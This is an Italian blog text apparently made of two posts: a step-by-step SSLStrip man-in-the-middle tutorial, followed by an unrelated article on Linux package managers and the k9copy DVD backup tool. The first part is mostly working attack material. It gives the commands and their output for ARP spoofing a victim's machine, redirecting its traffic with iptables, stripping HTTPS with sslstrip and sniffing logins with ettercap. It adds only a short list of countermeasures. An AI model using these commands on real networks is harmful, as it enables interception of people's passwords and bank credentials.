Oggi si parla di sicurezza informatica, o di insicurezza informatica dipende dai punti di vista. SSL Strip è una tecnica presentata al Black Hat DC del 2009 che rientra nella categoria dei MITM (Main in the middle). All’interno di una rete LAN, questa tecnica permette di sniffare le password provenienti da un server sicuro, HTTPS per fare un esempio. Questa tecnica risulta molto pericolosa, in quanto, se un malintenzionato riuscisse ad entrare in una qualsiasi rete LAN o rete wireless (abitazione, ufficio, ecc) potrebbe venire in possesso dei vostri account email e password di hotmail, gmail, facebook, twitter, instantempo e perfino i dati bancari. La tecnica, a grandi linee, molto semplicemente, consiste nel far in modo che il computer dell’attaccante si metta in mezzo tra il computer della vittima e il router, il computer dell’attaccante diventa un “nodo invisibile” su cui vengono veicolate tutte le informazioni. A fine articolo si abbozzeranno delle soluzioni al problema.

Configurazione di SSL Strip

Il sistema che userò per configurare gli script e i programmi è Ubuntu 10.4, per diversi motivi: i sorgenti e i comandi sono progettati per un sistema Linux; su un altro sistema non si possono fare tutte le modifiche che ci si propone di fare; sono molti anni che uso Ubuntu e lo conosco fin nei minimi particolari.

La prima operazione da fare è scaricare SSLStrip da: http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz

Scompattare il pacchetto, utilizzare “tar -zxvf sslstrip-0.4.tar.gz” se si sta operando da terminale.

arturu@arturu-laptop:~/Scrivania$ tar -zxvf sslstrip-0.7.tar.gz
sslstrip-0.7/
sslstrip-0.7/setup.py
sslstrip-0.7/README
sslstrip-0.7/COPYING
sslstrip-0.7/lock.ico
sslstrip-0.7/sslstrip/
sslstrip-0.7/sslstrip/StrippingProxy.py
sslstrip-0.7/sslstrip/URLMonitor.py
sslstrip-0.7/sslstrip/ServerConnectionFactory.py
sslstrip-0.7/sslstrip/__init__.py
sslstrip-0.7/sslstrip/ServerConnection.py
sslstrip-0.7/sslstrip/ClientRequest.py
sslstrip-0.7/sslstrip/SSLServerConnection.py
sslstrip-0.7/sslstrip/CookieCleaner.py
sslstrip-0.7/sslstrip.py
arturu@arturu-laptop:~/Scrivania$

Il file compresso viene estratto in una cartella, entrare nella cartella e compilare il codice sorgente con “python setup.py build” (è necessario avere installato l’interprete python)

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ python setup.py build
running build
running build_py
creating build
creating build/lib.linux-i686-2.6
creating build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ServerConnection.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/StrippingProxy.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/__init__.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/SSLServerConnection.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ServerConnectionFactory.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ClientRequest.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/URLMonitor.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/CookieCleaner.py -> build/lib.linux-i686-2.6/sslstrip
running build_scripts
creating build/scripts-2.6
copying and adjusting sslstrip/sslstrip -> build/scripts-2.6
changing mode of build/scripts-2.6/sslstrip from 644 to 755
Cleaning up...
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

Successivamente bisogna installare tutto con il comando “sudo python setup.py install”

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo python setup.py install
[sudo] password for arturu:
running install
running build
running build_py
running build_scripts
copying and adjusting sslstrip/sslstrip -> build/scripts-2.6
running install_lib
running install_scripts
copying build/scripts-2.6/sslstrip -> /usr/local/bin
changing mode of /usr/local/bin/sslstrip to 755
running install_data
running install_egg_info
Removing /usr/local/lib/python2.6/dist-packages/sslstrip-0.6.egg-info
Writing /usr/local/lib/python2.6/dist-packages/sslstrip-0.6.egg-info
Cleaning up...
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

Appena installato SSLStrip, bisogna procedere all’installazione di arpspoof. Arpspoof è un programma che fa credere ad un host (computer della vittima) che l’indirizzo MAC dell’attaccante è l’indirizzo MAC del router (contaminando i pacchetti arp, ma questo è un altro discorso), così facendo la vittima inizia ad inviare all’attaccante tutto il suo traffico di rete; il kernel dell’attaccante, ad eccezione per il traffico destinato alla porta 80, reindirizza tutto a $ listenPort (10000, per esempio).

Installiamo arpspoof con il comando “sudo apt-get install dsniff” e successivamente installiamo Ettercap (altro famoso tool per la cattura dei pacchetti) con il comando “sudo apt-get install ettercap”.

Adesso che abbiamo installato tutto il software si può passare all’utilizzo.

Utilizzo di SSLStrip

Da ora in poi facciamo finta che noi siamo gli attaccanti e Mario sia la nostra vittima. Come prima cosa bisogna conoscere il nostro indirizzo ip all’interno della rete LAN, da terminale digitiamo “ifconfig”

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ ifconfig
eth0    Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisioni:0 txqueuelen:1000
          Byte RX:0 (0.0 B)  Byte TX:0 (0.0 B)
          Interrupt:21
wlan0  Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          indirizzo inet:10.10.100.5  Bcast:10.10.100.255  Maschera:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:41373 errors:0 dropped:0 overruns:0 frame:0
          TX packets:44774 errors:0 dropped:0 overruns:0 carrier:0
          collisioni:0 txqueuelen:1000
          Byte RX:27814338 (27.8 MB)  Byte TX:10429284 (10.4 MB)
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

Dopo la voce HWaddr abbiamo il nostro indirizzo MAC e dopo inet il nostro indirizzo ip nella rete interna. In questo caso nella mia rete interna ho il seguente indirizzo ip 10.10.100.5 sull’interfaccia wireless, l’ethernet è disattivata; il mio MAC address è 00:00:00:00:00:00 (l’ho modificato perché non mi va di pubblicarlo).

Bisogna trovare l’indirizzo del gateway, è necessario che esso sia uguale a quello della vittima, situazione che si verifica nel 90% dei casi, digitiamo da terminale ” ip route show | grep default | awk ‘{ print $3}’ “

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ ip route show | grep default | awk '{ print $3}'
10.10.100.254
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

in questo caso l’indirizzo del gateway è 10.10.100.254.
Successivamente bisogna aprire tre diverse schede nella finestra del terminale, perché abbiamo bisogno di eseguire tre comandi in parallelo.
Nel primo tab eseguire “sudo arpspoof -t 10.10.100.2 10.10.100.254″, dove il primo indirizzo ip è quello della vittima e il secondo è il gateway (per trovare gli indirizzi dei computer connessi nella LAN basta utilizzare un qualsiasi scanner di rete), il risultato è simile al seguente (ho modificato i MAC address) praticamente ogni pacchetto della vittima in ogni instantempo viene fatto passare attraverso il nostro computer e inviato al router vero, e viceversa.

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo arpspoof -t 10.10.100.2 10.10.100.254
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00

Nella seconda scheda eseguiamo il comando “iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 1000″, serve a renderizzare le richieste dalla porta 80 alla porta 1000 del nostro computer (la porta di destinazione la possiamo cambiare a piacere, in caso fosse già utilizzata da un altro servizio).

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 1000
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

Subito dopo facciamo partire “sslstrip” e si lascia in esecuzione

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sslstrip
sslstrip 0.6 by Moxie Marlinspike running...

Nella terza tab facciamo partire ettercap in sniff mode con il seguente comando “sudo ettercap -Tqz”, aspettiamo che la nostra vittima digiti login e password su una connessione “sicura”, il risultato dovrebbe essere il seguente (ho modificato il mio MAC address)

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo ettercap -Tqz
[sudo] password for arturu:
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on wlan... (Wireless)
  wlan0 ->	00:00:00:00:00:00      10.10.100.5     255.255.255.0
Privileges dropped to UID 65534 GID 65534...
  28 plugins
  39 protocol dissectors
  53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help

Fatto questo appena un utente tenterà di accedere ad un servizio su un server protetto, ettercap intercetterà username e password e la visualizzerà in questa ultima tab.

Utilizzo di SSLStrip secondo la documentazione

Secondo gli autori di SSLStrip l’utilizzo del tool dovrebbe essere il seguente:

• Flip your machine into forwarding mode. (echo “1″ > /proc/sys/net/ipv4/ip_forward)
• Setup iptables to redirect HTTP traffic to sslstrip. (iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port <listenPort>)
• Run sslstrip. (sslstrip.py -l <listenPort>)
• Run arpspoof to convince a network they should send their traffic to you. (arpspoof -i <interface> -t <targetIP> <gatewayIP>)

In questo modo non sono mai riuscito a beccare una password, forse qualcun altro sarà più fortunato.

Un articolo interessante si può leggere su: http://pointnext.blogspot.com/2010/01/ssl-strip-con-ettercap.html ma ancora non ho avuto il tempo di provare.

Funziona sempre?

Dalle prove che ho fatto se la vittima lavora su una macchina Windows (ho provato soltanto con XP e Vista) l’attacco va a buon fine con qualsiasi browser. Safari su MacOsX restituisce pagina bianca, cioè non fa nessuna operazione e l’attacco non va a buon fine, ma l’utente non riceve nessuna segnalazione sul fatto che la connessione sicura è stata compromessa. Su Ubuntu utilizzando firefox o chrome si viene avvertiti che il certificato di sicurezza non è valido e l’utente può decidere di abbandonare la connessione (comunque se l’utente accetta il certificato viene restituita una pagina bianca), invece con Opera l’attacco va a buon fine.

Soluzioni

Per ora le soluzioni che mi sento di suggerire sono:

• Se è possibile, preferire il cavo alla wireless, infatti è più difficile connettersi ad una LAN con il cavo che non tramite wireless anche se è protetta;
• Aggiornare browser e Sistema Operativo sperando che venga risolto il problema (caso molto probabile in quanto questo problema è noto dal 2009);
• Consiglio di parte: utilizzare un sistema operativo più sicuro degli altri ad es: Ubuntu o MacOsX

Saluti Arturu.it

PS Come tutti hanno capito non si trattava di un articolo che parla dello “Strip” Tease. Tu lettore, se ancora cerchi questo, leggendo ancora non troverai niente, anche perché: l’articolo è finito…

Come al solito mi sono arrivate alcune mail sull’articolo appena pubblicato: sui gestori di pacchetti. Ci sono alcune precisazioni e novità. Bisogna dire che i gestori di pacchetti non fanno ricerche su internet ma recuperano il software da indirizzi impostati nei repository. I Repository sono delle liste di indirizzi (detto semplicemente) che indicano al gestore dove si trovano i pacchetti da scaricare. Le liste di base con tutto il software ufficiale della distribuzione sono già preimpostate, ma nessuno vieta di inserire nuovi repository con tanti altri programmi aggiuntivi. Come ad esempio seguendo questo link, oppure inserendo nei repository questo sito.

Una delle tante filosofie del mondo Open Source riguarda l’economia del software, come concetto di base si tende a non replicare nel sistema codice o componente che già è stato implementato da un altro programmatore. Questi componenti vengono distribuiti attraverso internet in file compressi e vengono chiamati pacchetti o packange. Dal punto di vista del programmatore questa è la soluzione migliore ma dal punto di vista dell’utente, specialmente per chi non ha molta esperienza, può diventare un incubo. Infatti, per poter installare un determinato software bisogna installare prima i pacchetti necessari al suo funzionamento, stando attenti che questi pacchetti a loro volta non richiedano altri pacchetti per poter funzionare e così via; nel gergo Open Source questo procedimento viene chiamato “Risoluzione delle dipendenze”. Per ovviare a questo problema si utilizzano dei programmi appositamente costruiti che sono i “Gestori di Pacchetti”. Attualmente oltre a risolvere le dipendenze i gestori di pacchetti provvedono alla ricerca del software, al download, all’installazione e alla configurazione. Attualmente l’utente finale deve solo scegliere il programma che più preferisce, attendere il download, la configurazione ed utilizzare il software. Lo stesso gestore si occupa di rimuovere i programmi, di mantenere aggiornato il sistema, occuparsi dell’upgrade di versione della distribuzione (ad es. Ubuntu), di aggiornare i driver, ecc., mantenendo sempre pulito e stabile il sistema anche dopo anni e anni di installazione e rimozione del software.

Oggi esistono diverse tecnologie per la gestione dei pacchetti, questa situazione è dovuta alla moltitudine delle distribuzioni GNU/Linux esistenti, infatti, ognuna di essa utilizza un gestore diverso. I gestori largamente usati sono:

• YUM, utilizzato in Fedora Core;

• up2date, utilizzato dai sistemi Red Hat Enterprise Linux. La sua versatilità lo fa dialogare anche con reti di distribuzione YUM e APT che contengono pacchetti RPM;

• YasT, utilizzato nelle distribuzioni Linux SUSE;

• urpmi, utilizzato da Mandrakelinux;

• Advanced Packaging Tool (APT) per RPM

• dpkg utilizzato per primo sulle distribuzioni Debian GNU/Linux e poi da altre distribuzioni. Utilizza un formato di pacchetti .deb ed è stato il primo a risolvere le dipendenze.

• portage/emerge utilizzato su Gentoo, famoso perché a differenza degli altri (che scaricano il programma già compilato) scarica il codice sorgente e provvede ad ottimizzarlo e compilarlo per l’hardaware installato sul computer, in questo modo si ha un software ottimizzato per il proprio computer e non uno generico che va bene per tutti.

Esempio pratico

Attualmente se voglio installare un programma o una libreria su un sistema GNU/Linux le uniche cose di cui mi devo preoccupare è decidere quale programma mi serve, al resto (download, istallazione e configurazione) ci pensa il gestore dei pacchetti.

Oggi ho comprato un bel DVD contenente una delle mie opere preferite “La forza del destino” di Giuseppe Verdi, logicamente dopo aver speso un sacco di soldi vorrei farmi un bel Backup del disco, devo trovare un programma che mi permetta di farlo. Prima di tutto apro il gestore dei pacchetti che sul mio sistema (Kubuntu) è Adept (interfaccia grafica di dpkg-apt)

Il gestore dei pacchetti mi permette due tipi di visualizzazioni: il software disposto per categorie (come nel menù di sistema) oppure in ordine alfabetico, scelgo per categorie così posso trovare più facilmente il mio programma

Tramite la casella cerca trovo il software che mi interessa, in questo caso è k9copy (purtroppo ancora le descrizioni dei programmi sono ancora in inglese, solo le descrizioni) che mi permette di fare un backup di un film DVD 9GB su un supporto da 4.7GB, del tutto simile a DVDShrink esistente sui sistemi Microsoft Windows:

Seleziono e clicco su “Applica le modifiche” e attendo il download dei 5 MB necessari

Al termine del download il gestore provvederà ad installare e a configurare il programma appena scaricato:

Appena completata l’installazione il programma sarà subito disponibile nel menù di sistema sotto la categoria Multimedia, stessa catalogazione del gestore dei pacchetti:

Ecco k9copy in azione:

Il programma è totalmente in italiano e rispecchia la descrizione contenuta nel gestore dei pacchetti.

Successivamente mi accorgo che nel trascrivere su disco un vecchio backup di un DVD fatto con Clone CD non mi viene riconosciuta l’immagine. Come al solito apro il gestore dei pacchetti (stavolta con l’altra visualizzazione) e cerco Clone CD e trovo la mia libreria.

Dopo aver cliccato su Applica modifiche come al solito verrà scaricata, installata e configurata la libreria. Ad esempio sarà usata come: plug-in nel programma di masterizzazione, come un normale programma se dispone di un’interfaccia grafica, oppure, dalla linea di comando.

Conclusioni

In questo articolo ho cercato di portare a conoscenza i grossi passi avanti fatti dalle distribuzioni GNU/Linux riguardante l’installazione del software. Fino a poco tempo fa per un nuovo utente riuscire ad installare un software, senza troppe preoccupazioni, era quasi impossibile, infatti, ancora oggi si pensa che per installare i programmi sui sistemi Linux sia sempre necessario compilare i sorgenti e risolvere le dipendenze, attualmente sulla maggior parte delle distribuzioni tutto il software che si scarica è già precompilato e le dipendenze vengono risolte in automatico. Esistono distribuzioni come Gentoo che ottimizzano il software per l’hardware in uso compilando il codice sorgente del programma prima di installarlo.

Infine vorrei fare un’osservazione prima di concludere: attualmente sulla maggior parte dei sistemi GNU/Linux servono due clic per installare e usare qualsiasi tipo di software senza pagare nulla, cosa che non succede su altri sistemi.

Collegamenti utili

http://www.kde-apps.org/ , sito in inglese che illustra le applicazioni disponibili per KDE, molto utile per i meno esperti, contenente recensioni suoi programmi disponibili.